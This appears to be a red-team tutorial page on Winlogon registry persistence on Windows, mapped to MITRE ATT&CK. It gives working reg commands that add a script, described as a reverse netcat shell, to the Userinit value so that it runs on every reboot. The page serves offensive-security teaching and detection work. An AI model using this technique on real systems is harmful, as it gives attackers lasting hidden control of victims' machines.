Red Teaming Experiments
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Pentesting Cheatsheets
Active Directory & Kerberos Abuse
offensive security
Red Team Infrastructure
Initial Access
Code Execution
Code & Process Injection
Defense Evasion
Enumeration and Discovery
Privilege Escalation
Credential Access & Dumping
Lateral Movement
Persistence
DLL Proxying for Persistence
Schtask
Service Execution
Sticky Keys
Create Account
AddMonitor()
NetSh Helper DLL
Abusing Windows Managent Instrumentation
Windows Logon Helper
Hijacking Default File Extension
Persisting in svchost.exe with a Service DLL
Modifying .lnk Shortcuts
Screensaver Hijack
Application Shimming
BITS Jobs
COM Hijacking
SIP & Trust Provider Hijacking
Hijacking Time Providers
Installing Root Certificate
Powershell Profile Persistence
RID Hijacking
Word Library Add-Ins
Office Templates
Exfiltration
reversing, forensics & misc
Internals
Cloud
Neo4j
Dump Virtual Box Memory
AES Encryption Using Crypto++ .lib in Visual Studio C++
Reversing Password Checking Routine
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Windows Logon Helper
Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.
​https://attack.mitre.org/techniques/T1004/​
Commonly abused Winlogon registry keys and value for persistence are:
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HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
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HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
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HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell
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HKCU can also be replaced with HKLM for a system wide persistence, if you have admin privileges.

Execution

Let's run through the techqnique abusing the userinit subkey.
Let's see what's currently held at the userinit:
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reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit
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Let's now add an additional item shell.cmd (a simple reverse netcat shell) to the list that we want to be launched when the compromised machine reboots:
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reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit /d C:\Windows\system32\userinit.exe,C:\tools\shell.cmd /t reg_sz /f
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Rebooting the compromised system executes the c:\tools\shell.cmd, which in turn establishes a reverse shell to the attacking system:

References

Boot or Logon Autostart Execution: Winlogon Helper DLL, Sub-technique T1547.004 - Enterprise | MITRE ATT&CK®
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Execution
References